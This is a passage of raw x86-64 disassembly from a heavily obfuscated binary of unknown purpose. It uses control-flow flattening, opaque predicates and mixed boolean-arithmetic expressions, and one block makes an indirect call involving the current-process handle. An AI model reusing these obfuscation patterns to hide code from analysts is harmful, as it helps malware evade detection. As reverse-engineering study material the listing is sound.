xor cl, 1
or cl, r8b
mov ebx, ecx
xor bl, dl
test cl, 1
mov eax, 0x67c407a2
mov ecx, 0x42b5c6b3
cmovne eax, ecx
test dl, 1
cmove eax, ecx
not bl
test bl, 1
mov ecx, 0x67c407a2
jmp 0x14019970b
cmp eax, 0xa675819e
je 0x1401a1db9
cmp eax, 0xa6e154df
jne 0x14016c950
mov eax, 0xdbac7fde
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0xe6d6015a
je 0x1401a1dcc
cmp eax, 0xe765b402
jne 0x14016c950
mov eax, 0x94ef71b6
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x99ba1186
je 0x1401a1de1
cmp eax, 0x99ea58b6
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x3ad9db84
and edx, 0xc526247b
or edx, ecx
mov ecx, edx
xor ecx, 0x85040011
xor edx, 0x38888a00
and edx, 0x78aaae6a
and ecx, 0x87555195
or ecx, edx
mov ebx, ecx
xor ebx, 0x78aaae6a
mov edx, ecx
xor edx, 0x78aaae6b
and edx, ebx
xor ecx, 0x1505114
and ecx, 0x69d0553c
and ebx, 0x962faac3
or ebx, ecx
mov edi, ebx
xor edi, 0x12278a00
mov ecx, edx
not ecx
xor ebx, 0x69d0553d
mov esi, ecx
and esi, 0xa4d821cb
and edx, 0x5b27de34
or edx, esi
or ecx, ebx
and ebx, 0xa4d821cb
and edi, 0x5b27de34
or edi, ebx
xor edi, edx
not ecx
or ecx, edi
mov edx, ecx
not edx
and edx, 0x1e400000
mov ebx, ecx
and ebx, 0x418e0261
or ebx, edx
xor ebx, 0x418e0261
and ecx, 0xa031fd9e
or ecx, ebx
mov edx, ecx
not edx
and edx, 0xa031fd9e
and ecx, 0x5fce0261
or ecx, edx
mov edx, ecx
not edx
and edx, 0x61c195dc
and ecx, 0x9e3e6a23
or ecx, edx
xor ecx, 0x9e3e6a23
cmp ecx, 0xffffffff
setne r8b
sete dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg cl
mov eax, edx
xor al, cl
xor al, 1
and r8b, bl
or bl, dl
xor bl, 1
and cl, dl
or cl, r8b
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov edx, ecx
not dl
and dl, cl
xor dl, 1
mov ebx, ecx
xor bl, dl
or dl, cl
xor dl, 1
or dl, bl
xor dl, al
mov ecx, edx
xor cl, 1
and al, cl
xor cl, al
test cl, 1
mov ecx, 0xce0c2f92
mov ebx, 0x9112c15b
cmovne ecx, ebx
test dl, 1
mov edx, ecx
mov ebx, 0xce0c2f92
cmovne edx, ebx
test al, al
jmp 0x14019d269
cmp eax, 0xd63e47aa
je 0x1401a1f87
cmp eax, 0xd65ca5b6
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea eax, [rdx - 1]
imul eax, edx
mov ecx, eax
not ecx
mov ebx, ecx
or ebx, 0xa3d6b782
mov edx, ebx
not edx
mov esi, eax
or esi, 0x4c280814
and esi, 0x6d783e14
mov edi, ecx
and edi, 0x82868182
or edi, esi
and ebx, 0x6d783e14
and edx, 0x10014069
or edx, ebx
xor edx, edi
mov ebx, edx
not ebx
and ebx, 0xade60277
and edx, 0x5219fd88
or edx, ebx
mov ebx, edx
xor ebx, 0xf1cf4a0b
and ecx, 0x35e23c79
and eax, 0xca1dc386
or eax, ecx
mov ecx, eax
xor ecx, 0xca1dc386
xor edx, 0xe30b5f4
and ecx, edx
xor eax, 0x35e23c79
and eax, ebx
or eax, ecx
not eax
or eax, edx
cmp eax, 0xffffffff
sete r10b
setne dl
cmp r8d, 0xa
setl r9b
cmp r8d, 9
setg bl
and dl, bl
mov r8d, r9d
and r8b, r10b
or r8b, dl
xor r8b, 1
or r8b, bl
xor bl, r10b
not bl
and bl, r10b
xor r10b, r9b
and r10b, r9b
mov edx, ebx
and dl, r10b
xor r10b, bl
or r10b, dl
mov eax, r10d
xor al, 1
mov ecx, r8d
mov edx, eax
mov r9d, eax
mov r11d, r8d
and r11b, al
xor al, r8b
xor r8b, 1
and cl, r8b
xor cl, 1
mov ebx, r8d
xor bl, cl
or cl, r8b
and dl, r10b
xor cl, 1
or cl, bl
xor r9b, dl
xor dl, 1
or dl, r10b
xor dl, 1
or dl, r9b
xor dl, cl
or al, r11b
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xc9114023
mov ebx, 0xb245c288
cmovne ecx, ebx
test al, 1
mov eax, 0xc9114023
jmp 0x14019e5fe
cmp eax, 0xb483c4fc
je 0x1401a20a8
cmp eax, 0xb4c386c2
jne 0x14016c950
mov eax, 0x485e7173
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0xfa81600f
je 0x1401a2178
cmp eax, 0xfa9d4754
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ebx, edx
not ebx
mov ecx, ebx
and ecx, 0x44040584
and edx, 0x138b0020
or edx, ecx
mov edi, edx
xor edi, 0x10830000
xor edx, 0xe4402b58
or ebx, 0x578f05a4
mov ecx, ebx
not ecx
and edx, 0xe7482b78
and edi, 0x10870484
or edi, edx
and ebx, 0xe7482b78
and ecx, 0x830d003
or ecx, ebx
xor ecx, edi
mov edx, ecx
not edx
and edx, 0xa870fa5b
and ecx, 0x578f05a4
or ecx, edx
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0x3f04227f
mov edi, ecx
and edi, 0xc0fbdd80
or edi, ebx
mov ebx, edi
not ebx
and ebx, 0xc0fbdd81
and edi, 0x3f04227e
or edi, ebx
and edx, 1
xor ecx, 0xfffffffe
or ecx, edx
not ecx
mov edx, edi
and edx, ecx
xor ecx, edi
or ecx, edx
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0xa2d9a689
and edx, ecx
and ecx, 0x5d265976
or ecx, ebx
mov ebx, ecx
xor ebx, 0xc265100
xor ecx, 0xa2d9a689
mov edi, edx
not edi
mov esi, ecx
and esi, 0x73c80e77
and ebx, 0x8c37f188
or ebx, esi
or ecx, edi
and edi, 0x73c80e77
and edx, 0x8c37f188
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0x601f407
and ecx, 0xf9fe0bf8
or ecx, ebx
xor ecx, 0xf9fe0bf8
or ecx, edx
cmp ecx, 0xffffffff
sete bl
setne r10b
cmp eax, 0xa
setl r9b
cmp eax, 9
setg cl
mov eax, ebx
xor al, r10b
xor r10b, cl
mov r8d, r10d
xor r8b, 1
and al, bl
mov ebx, eax
xor bl, 1
or al, bl
mov edx, ebx
xor dl, al
or al, bl
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
and al, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
and r9b, al
xor al, 1
and al, cl
or al, r9b
and cl, r8b
mov edx, ecx
xor dl, 1
xor cl, r10b
or dl, r8b
xor dl, 1
or dl, cl
mov ecx, edx
not cl
mov ebx, eax
xor bl, 1
and cl, bl
or bl, dl
and dl, al
or dl, cl
mov eax, ebx
xor al, dl
test al, 1
mov eax, 0xfb43891c
mov ecx, 0xad3c1270
cmovne eax, ecx
test dl, dl
mov ecx, eax
mov edx, 0xfb43891c
jmp 0x14019f4d3
cmp eax, 0x86e25c8e
je 0x1401a218d
cmp eax, 0x87da883c
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov ecx, dword [0x1402656c4]
lea ebx, [rdx - 1]
imul ebx, edx
mov edi, ebx
not edi
mov edx, edi
and edx, 0xe8eb6000
mov eax, ebx
and eax, 0x17149ffe
or eax, edx
mov edx, eax
xor edx, 0x10497ec
xor eax, 0x60804000
mov esi, ebx
or esi, 0x76904812
and eax, 0x76904812
and edx, 0x896fb7ec
or edx, eax
and esi, 0x76904813
xor esi, edx
and edi, 0xb7801b7a
and ebx, 0x487fe485
or ebx, edi
mov eax, ebx
xor eax, 0x487fe485
xor ebx, 0xb7801b7a
and ebx, esi
not esi
and eax, esi
or ebx, eax
xor esi, ebx
test esi, ebx
sete r9b
setne al
cmp ecx, 0xa
setl r8b
cmp ecx, 9
setg cl
mov edx, ecx
and dl, al
mov r10d, ecx
xor r10b, al
or r10b, dl
xor cl, r9b
not cl
and cl, r9b
xor al, r8b
not al
and al, r8b
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, eax
xor cl, 1
mov edx, eax
and dl, cl
mov ebx, edx
and bl, al
xor dl, al
or dl, bl
mov ebx, edx
and bl, r10b
xor cl, r10b
xor r10b, 1
xor dl, 1
and dl, r10b
or dl, bl
or al, r10b
xor al, 1
or al, cl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x2026e403
mov ebx, 0x5c746de4
cmovne eax, ebx
test dl, dl
cmove eax, ebx
test cl, 1
mov ecx, 0x2026e403
jmp 0x1401a14db
cmp eax, 0xc1890fe7
je 0x1401a2258
cmp eax, 0xc2bb28f1
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0xc076bd4c
and edx, 0x3f8942b3
or edx, ecx
mov ebx, edx
xor ebx, 0x3b8040b2
xor edx, 0x4052a84c
and edx, 0x445baa4d
and ebx, 0xbba455b2
or ebx, edx
mov ecx, ebx
xor ecx, 0x445baa4d
xor ebx, 0xbba455b2
mov edx, ecx
and edx, 0xfffffffe
and ebx, 0xfffffffe
and ecx, 1
or ecx, ebx
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x30d07a2d
and ecx, 0xcf2f85d2
or ecx, edx
mov edx, ecx
xor edx, 0x2060040
xor ecx, 0x10802201
and ecx, 0xdda9a793
and edx, 0x2256586c
or edx, ecx
mov ecx, edx
xor ecx, 0x59a82093
xor edx, 0x20164060
and ecx, 0x5be8389f
and edx, 0xa417c760
or edx, ecx
xor edx, 0xa417c760
sete r9b
setne r10b
cmp eax, 9
setg cl
cmp eax, 0xa
setl dl
mov ebx, edx
xor bl, r10b
mov r8d, ebx
xor r8b, 1
mov eax, edx
xor dl, r9b
and r9b, cl
and al, r10b
or al, r9b
or cl, r10b
xor cl, 1
or cl, dl
xor cl, 1
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov eax, ecx
xor al, 1
and al, cl
xor al, 1
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, 1
and al, bl
or bl, cl
and cl, r8b
or cl, al
mov eax, ebx
xor al, cl
test al, 1
mov eax, 0xcd584b2c
mov edx, 0x9e67c04c
cmovne eax, edx
test cl, cl
mov ecx, eax
mov edx, 0xcd584b2c
jmp 0x14019f4d3
cmp eax, 0xa420e19a
je 0x1401a2360
cmp eax, 0xa4597076
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
xor ecx, 0x404891e0
and ecx, edx
not edx
and edx, 0x404891e0
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0xbfb76e1f
and ecx, 0x404891e0
or ecx, edx
mov edx, ecx
xor edx, 1
and edx, ecx
mov ebx, ecx
not ebx
and ebx, 0xd202c754
and ecx, 0x2dfd38ab
or ecx, ebx
xor ecx, 0x2dfd38aa
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and ecx, edx
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
sete bl
cmp eax, 9
setg r8b
cmp eax, 0xa
setl dl
mov eax, edx
xor al, bl
or dl, bl
xor dl, 1
or dl, al
mov r9d, edx
xor r9b, 1
and al, bl
or r8b, bl
mov ebx, r8d
xor bl, al
xor al, 1
xor bl, 1
or al, r8b
xor al, 1
or al, bl
mov r10d, eax
xor r10b, 1
mov ecx, edx
and cl, r9b
xor cl, 1
mov r8d, r9d
xor r8b, cl
or cl, r9b
xor cl, 1
or cl, r8b
mov ebx, ecx
xor bl, 1
and bl, r10b
and cl, al
or cl, bl
xor r10b, dl
or al, r9b
xor al, 1
or al, r10b
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0xb9abb88e
mov ebx, 0x7c50dd55
cmovne edx, ebx
test al, 1
mov eax, 0xb9abb88e
jmp 0x1401a2f66
cmp eax, 0xe1ceaf0c
je 0x1401a23f6
cmp eax, 0xe2412a0c
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x80607da9
and edx, 0x7f9f8256
or edx, ecx
mov ecx, edx
xor ecx, 0x5f130050
xor edx, 0x603408
and edx, 0x20ecb60e
and ecx, 0xdf1349f1
or ecx, edx
mov edx, ecx
xor edx, 0x20ecb60e
mov ebx, ecx
xor ebx, 0x20ecb60f
and ebx, edx
xor ecx, 0x89030140
and ecx, 0xa9a71544
and edx, 0x5658eabb
or edx, ecx
xor edx, 0x5658eaba
mov ecx, ebx
and ecx, edx
xor edx, ebx
or edx, ecx
mov ecx, edx
xor ecx, 0xfef342a3
and ecx, edx
or edx, 0x10cbd5c
mov ebx, edx
not ebx
mov edi, ecx
not edi
mov esi, edx
and esi, 0x49bf3935
and ebx, 0xb6404282
or ebx, esi
or edx, edi
and edi, 0x49bf3935
and ecx, 0xb640c6ca
or ecx, edi
xor ecx, ebx
not edx
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x10cbd5c
and edx, 0xfef342a3
or edx, ecx
setne r9b
sete al
cmp r8d, 0xa
setl bl
cmp r8d, 9
setg dl
mov ecx, edx
xor cl, al
and cl, dl
and bl, r9b
and dl, al
or dl, bl
mov eax, ecx
xor al, 1
mov r8d, edx
xor r8b, 1
xor cl, dl
or al, r8b
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
and al, cl
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
xor al, 1
mov ecx, edx
and cl, r8b
mov ebx, ecx
and bl, dl
xor cl, dl
or cl, bl
xor cl, al
mov edx, r8d
and dl, al
xor al, r8b
or al, dl
mov edx, ecx
xor dl, al
not dl
test dl, 1
mov edx, 0x40e8b762
mov ebx, 0x15a91e18
cmovne edx, ebx
test al, 1
mov eax, 0x40e8b762
cmovne eax, edx
jmp 0x1401a10d4
cmp eax, 0x96812895
je 0x1401a240b
cmp eax, 0x968ba6b3
jne 0x14016c950
mov eax, 0xe035967b
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0xd12f45d6
je 0x1401a2543
cmp eax, 0xd1c58322
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0xa2dd506c
and edx, 0x5d22af93
or edx, ecx
mov edi, edx
xor edi, 0x55200a02
xor edx, 0x205506c
and edx, 0xa07f5fd
and edi, 0xf5f80a02
or edi, edx
mov r9d, edi
xor r9d, 0x8017469
mov ecx, edi
xor ecx, 0xf5f80a02
xor edi, 0x72c331bc
and edi, ecx
mov eax, ecx
or eax, 0x78c4c441
mov esi, eax
not esi
mov edx, edi
not edx
mov ebx, edx
and ebx, 0x3272bd4f
and edi, 0xcd8d42b0
or edi, ebx
or edx, eax
and eax, 0x3272bd4f
and esi, 0x850902b0
or esi, eax
xor esi, edi
not edx
or edx, esi
mov eax, edx
not eax
and eax, 0x873b3bbf
and edx, 0x78c4c440
or edx, eax
and r9d, 0xddc1766b
mov eax, ecx
and eax, 0x223e8994
or eax, r9d
xor eax, 0xddc1766a
and ecx, 1
or ecx, eax
not ecx
mov eax, edx
and eax, ecx
xor ecx, edx
or ecx, eax
mov edx, ecx
mov eax, ecx
xor eax, 0x9ab35e9a
and eax, ecx
not ecx
and ecx, 0x8384f238
and edx, 0x7c7b0dc7
or edx, ecx
mov ecx, edx
xor ecx, 0x18120c82
xor edx, 0x82805218
or edx, 0x654ca165
mov ebx, eax
not ebx
mov edi, edx
and edi, 0x62edc261
and ecx, 0x98121c9a
or ecx, edi
or edx, ebx
and ebx, 0x62edc261
and eax, 0x9d123d9e
or eax, ebx
xor eax, ecx
not edx
or edx, eax
mov eax, edx
not eax
and eax, 0x57e4487a
and edx, 0xa81bb785
or edx, eax
mov eax, edx
xor eax, 0x2228a113
xor edx, 0xcd5716e0
mov ecx, edx
and ecx, 0xdc8458cc
and eax, 0x237ba733
or eax, ecx
xor eax, 0xdc8458cc
xor edx, eax
test edx, eax
sete al
setne r9b
cmp r8d, 0xa
setl dl
cmp r8d, 9
setg r8b
mov ebx, edx
and dl, r9b
and r9b, r8b
and bl, al
or bl, r9b
mov ecx, ebx
xor cl, r8b
and cl, bl
and al, r8b
or dl, al
mov eax, edx
mov r8d, edx
mov ebx, ecx
or dl, cl
xor cl, 1
xor al, 1
and r8b, cl
and bl, al
or bl, r8b
xor al, cl
xor dl, 1
or dl, al
mov ecx, edx
xor cl, bl
test dl, 1
mov eax, 0xec844eb4
mov edx, 0x144a5921
cmovne eax, edx
test bl, bl
cmove eax, edx
test cl, 1
mov ecx, 0xec844eb4
jmp 0x1401a14db
cmp eax, 0xb1e39057
je 0x1401a26d2
cmp eax, 0xb1f7e1ce
jne 0x14016c950
mov rax, qword [rbp - 0x68]
mov eax, 0x4f8256d6
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0xf69bc0a9
je 0x1401a2817
cmp eax, 0xf7117730
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and edx, 0x39820f0
and ecx, 0xfc67df0f
or ecx, edx
mov edx, ecx
xor edx, 0xfc67df0f
mov ebx, ecx
xor ebx, 0x39820f0
xor ecx, 0xfc67df0e
and ecx, edx
and ebx, 0xfffffffe
and edx, 1
or edx, ebx
mov ebx, ecx
not ebx
mov edi, edx
not edi
mov esi, ebx
and esi, 0x443d28e
and ecx, 0xfbbc2d71
or ecx, esi
or ebx, edi
and edi, 0x443d28e
and edx, 0xfbbc2d71
or edx, edi
xor edx, ecx
not ebx
or ebx, edx
mov ecx, ebx
xor ecx, 0xfeca074a
and ecx, ebx
or ebx, 0x135f8b5
mov edx, ebx
not edx
mov edi, ecx
not edi
mov esi, ebx
and esi, 0x216ddb03
and edx, 0xde820448
or edx, esi
or ebx, edi
and edi, 0x216ddb03
and ecx, 0xde9224fc
or ecx, edi
xor ecx, edx
not ebx
or ebx, ecx
mov ecx, ebx
not ecx
and ecx, 0x8ff4ac52
and ebx, 0x700b53ad
or ebx, ecx
xor ebx, 0x8ec154e7
setne r8b
sete dl
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
mov ecx, eax
xor cl, dl
mov r9d, ecx
xor r9b, 1
and dl, bl
and al, r8b
or al, dl
mov edx, ebx
xor dl, r8b
or bl, r8b
xor bl, 1
or bl, dl
xor al, 1
mov edx, eax
xor dl, bl
or al, bl
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
and cl, al
and dl, r9b
or dl, cl
mov ecx, r9d
and cl, al
xor al, r9b
or al, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x39870b14
mov ebx, 0xc6f4740
cmovne ecx, ebx
test al, 1
mov eax, 0x39870b14
jmp 0x1401a14d6
cmp eax, 0x8fb3e10c
je 0x1401a2925
cmp eax, 0x902c6c9b
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov r9d, ebx
not r9d
mov ecx, ebx
or ecx, 0x5db75a50
mov edi, ecx
not edi
mov edx, ebx
xor edx, 0xa248a5af
and edx, ebx
mov eax, edx
not eax
mov esi, ecx
and esi, 0xf1b196ce
and edi, 0x2482121
or edi, esi
or ecx, eax
and eax, 0xf1b196ce
and edx, 0xe4e6931
or edx, eax
xor edx, edi
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0x5db75a51
and ecx, 0xa248a5ae
or ecx, eax
mov eax, ecx
not eax
and r9d, 0xb09b0c19
and ebx, 0x4f64f3e6
or ebx, r9d
mov edx, ebx
xor edx, 0xd242140
xor ebx, 0xb09b0c19
mov edi, ecx
and edi, 0xc241d6a6
and eax, 0x3dbe2959
or eax, edi
or ecx, ebx
and ebx, 0xc241d6a6
and edx, 0x3dbe2959
or edx, ebx
xor edx, eax
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0x8e62ec4b
and ecx, 0x719d13b4
or ecx, eax
xor ecx, 0x719d13b4
sete r9b
setne cl
cmp r8d, 0xa
setl dl
cmp r8d, 9
setg bl
mov eax, ebx
and al, cl
and r9b, bl
xor bl, cl
or bl, al
and dl, cl
or dl, r9b
mov eax, edx
and dl, bl
xor bl, 1
xor al, 1
mov ecx, ebx
xor cl, al
and cl, bl
and al, bl
or al, dl
mov edx, ecx
xor dl, al
test al, al
mov eax, 0x33abb31a
mov ebx, 0x708333dd
cmovne eax, ebx
test cl, cl
mov ecx, 0x33abb31a
jmp 0x14019e249
cmp eax, 0xc9e2b1a3
je 0x1401a2acc
cmp eax, 0xcab010d9
jne 0x14016c950
mov rax, qword [rbp - 0x70]
mov rdx, qword [rbp - 0x40]
mov r8, qword [rbp - 0x38]
mov r9d, dword [rbp - 0x2c]
mov rbx, qword [rbp - 0x28]
sub rsp, 0x30
mov qword [rsp + 0x20], rax
mov rcx, 0xffffffffffffffff
call rbx
add rsp, 0x30
mov edx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea ebx, [rdx - 1]
imul ebx, edx
mov r9d, ebx
not r9d
mov edx, ebx
or edx, 0x250dfdaa
mov edi, edx
not edi
mov ecx, ebx
xor ecx, 0xdaf20255
and ecx, ebx
mov eax, ecx
not eax
mov esi, edx
and esi, 0x8b24a368
and edi, 0x50d20015
or edi, esi
or edx, eax
and eax, 0x8b24a368
and ecx, 0x74db5c97
or ecx, eax
xor ecx, edi
not edx
or edx, ecx
mov eax, edx
not eax
and eax, 0x250dfdab
and edx, 0xdaf20254
or edx, eax
mov eax, edx
not eax
and eax, 0x702f0b5f
and edx, 0x8fd0f4a0
or edx, eax
mov eax, edx
xor eax, 0x5808080
xor edx, 0x702f0b5f
mov ecx, edx
and ecx, 0xaa5f7d2b
and eax, 0x55a082d4
or eax, ecx
or edx, ebx
and ebx, 0xaa5f7d2b
and r9d, 0x55a082d4
or r9d, ebx
xor r9d, eax
not edx
or edx, r9d
cmp edx, 0xffffffff
setne r9b
sete dl
cmp r8d, 9
setg cl
cmp r8d, 0xa
setl bl
mov eax, ebx
xor al, dl
and r9b, bl
or bl, dl
xor bl, 1
or bl, al
mov r8d, ebx
xor r8b, 1
and cl, dl
or cl, r9b
mov edx, ecx
xor dl, 1
and cl, dl
mov eax, edx
and al, cl
xor cl, dl
or cl, al
and r8b, cl
xor cl, 1
and cl, bl
or cl, r8b
mov eax, ebx
and al, dl
xor dl, bl
or dl, al
mov eax, edx
xor al, cl
test al, 1
mov eax, 0x2bad01dd
mov ebx, 0x513066b3
cmovne eax, ebx
test dl, dl
mov edx, 0x2bad01dd
cmovne edx, eax
test cl, 1
jmp 0x1401a0e8b
cmp eax, 0xaa4dc762
je 0x1401a2ce0
cmp eax, 0xaa7abf06
jne 0x14016c950
mov eax, dword [0x1402656c8]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
or ebx, 0x4ff5c8b3
mov ecx, ebx
not ecx
or edx, 0xb0001208
and edx, 0xf03192a9
and eax, 0xfc44812
or eax, edx
and ebx, 0xf03192a9
and ecx, 0xa2544
or ecx, ebx
xor ecx, eax
mov eax, ecx
not eax
and eax, 0xb00a374c
and ecx, 0x4ff5c8b3
or ecx, eax
mov ebx, ecx
mov eax, ecx
xor eax, 0x6125cd41
and eax, ecx
not ecx
and ecx, 0xd6e116f4
and ebx, 0x291ee90b
or ebx, ecx
mov ecx, ebx
xor ecx, 0x291ee90b
mov edx, ebx
xor edx, 0xb7c4dbb5
and edx, ecx
mov edi, edx
and edi, eax
xor eax, edx
or eax, edi
mov edx, eax
not edx
and edx, 0x9eda32bf
and eax, 0x6125cd40
or eax, edx
xor ebx, 0x42e112c0
and ebx, 0x4aed53ca
mov edx, ecx
and edx, 0xb512ac35
or edx, ebx
xor edx, 0x4aed53cb
and ecx, 1
or ecx, edx
mov edx, ecx
not edx
and edx, 0x56374dcb
and ecx, 0xa9c8b234
or ecx, edx
mov ebx, ecx
xor ebx, 0xc01004
mov edx, eax
not edx
xor ecx, 0x56374dcb
mov edi, edx
and edi, 0xaf3aa63b
and eax, 0x50c559c4
or eax, edi
or edx, ecx
and ecx, 0xaf3aa63b
and ebx, 0x50c559c4
or ebx, ecx
xor ebx, eax
not edx
or edx, ebx
mov ebx, edx
not ebx
or edx, 0x63d9c02a
mov ecx, edx
not ecx
or ebx, 0x9c263fd5
mov eax, ebx
not eax
and edx, 0x441a283a
and ecx, 0x982417c5
or ecx, edx
and ebx, 0x441a283a
and eax, 0x23c1c000
or eax, ebx
xor eax, ecx
mov ecx, eax
not ecx
and ecx, 0xcb2d7b07
and eax, 0x34d284f8
or eax, ecx
xor eax, 0xa8f4bb2d
setne al
cmp dword [0x1402656c4], 9
setg cl
mov edx, ecx
and dl, al
xor cl, al
or dl, cl
mov ebx, edx
xor bl, 1
and dl, cl
xor cl, 1
mov eax, ebx
xor al, cl
and al, bl
and cl, bl
or cl, dl
mov edx, eax
xor dl, cl
mov edx, 0x8ec8d83b
mov ebx, 0xa4e58275
cmovne edx, ebx
test cl, cl
mov ecx, edx
cmovne ecx, ebx
jmp 0x1401a0cb7
cmp eax, 0xed55021d
je 0x1401a2cf5
cmp eax, 0xed6b835b
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea esi, [rcx - 1]
imul esi, ecx
mov ecx, esi
not ecx
mov ebx, ecx
and ebx, 0xcdea28d6
mov edx, esi
and edx, 0x3215d728
or edx, ebx
xor edx, 0x3215d728
mov edi, esi
and edi, 1
or edi, edx
mov ebx, edi
not ebx
mov edx, ebx
and edx, 0x8c14990c
and edi, 0x73eb66f3
or edi, edx
and esi, 0x8c14990c
and ecx, 0x73eb66f3
or ecx, esi
xor ecx, edi
not ecx
or ecx, ebx
cmp ecx, 0xffffffff
setne cl
sete dl
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
xor al, dl
xor dl, bl
and dl, bl
xor cl, bl
xor dl, 1
xor cl, 1
mov ebx, edx
xor bl, cl
or cl, dl
xor cl, 1
or cl, bl
xor cl, al
and al, cl
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0xa59c850e
mov ebx, 0x6e926331
cmovne edx, ebx
test cl, 1
mov ecx, 0xa59c850e
jmp 0x14019a3d7
cmp eax, 0x9cf6cff7
je 0x1401a2d0a
cmp eax, 0x9d08d240
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea esi, [rcx - 1]
imul esi, ecx
mov ecx, esi
not ecx
mov ebx, ecx
and ebx, 0x9c4c7755
mov edi, esi
and edi, 0x63b388aa
or edi, ebx
mov ebx, edi
not ebx
and ebx, 0xad1555a3
and edi, 0x52eaaa5c
or edi, ebx
mov edx, edi
xor edx, 0xcea6dd08
xor edi, 0x315922f7
and ecx, edi
and edx, esi
or edx, ecx
not edx
or edx, edi
cmp edx, 0xffffffff
setne r10b
sete r9b
cmp eax, 9
setg r8b
cmp eax, 0xa
setl sil
mov ebx, r9d
xor bl, r10b
and bl, r9b
mov ecx, ebx
xor cl, 1
mov edx, ecx
and dl, bl
mov r11d, ecx
xor r11b, dl
xor dl, 1
or dl, bl
xor dl, 1
or dl, r11b
xor dl, 1
or cl, bl
xor cl, 1
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, ecx
xor dl, 1
mov ebx, edx
and bl, cl
xor dl, bl
xor bl, 1
or bl, cl
xor bl, 1
or bl, dl
mov ecx, ebx
and cl, sil
xor bl, 1
and bl, r8b
or bl, cl
xor r10b, sil
mov ecx, esi
and cl, r9b
xor sil, r9b
or sil, cl
mov ecx, r10d
xor cl, sil
or sil, r10b
xor sil, 1
or sil, cl
mov r8d, esi
xor r8b, 1
mov edx, ebx
xor dl, 1
mov r9d, ebx
and r9b, dl
mov eax, r8d
and al, sil
mov ecx, r9d
xor cl, 1
xor r9b, bl
or cl, dl
xor cl, 1
or cl, r9b
mov ebx, eax
and bl, r8b
xor al, r8b
or al, bl
xor al, cl
mov ecx, edx
and cl, sil
xor dl, sil
or dl, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0xf7b2c4d7
mov ebx, 0x627c0cee
cmovne ecx, ebx
test dl, 1
mov edx, 0xf7b2c4d7
jmp 0x14019d264
cmp eax, 0xda8f8aab
je 0x1401a2e92
cmp eax, 0xdaa8edab
jne 0x14016c950
mov rax, qword [rbp - 8]
mov eax, 0xe0dd034e
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0xba452a83
je 0x1401a2f7f
cmp eax, 0xba728941
jne 0x14016c950
mov eax, 0x93bc7aa6
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0xfeea790b
je 0x1401a3106
cmp eax, 0xffd5c633
jne 0x14016c950
mov eax, 0x9cab557a
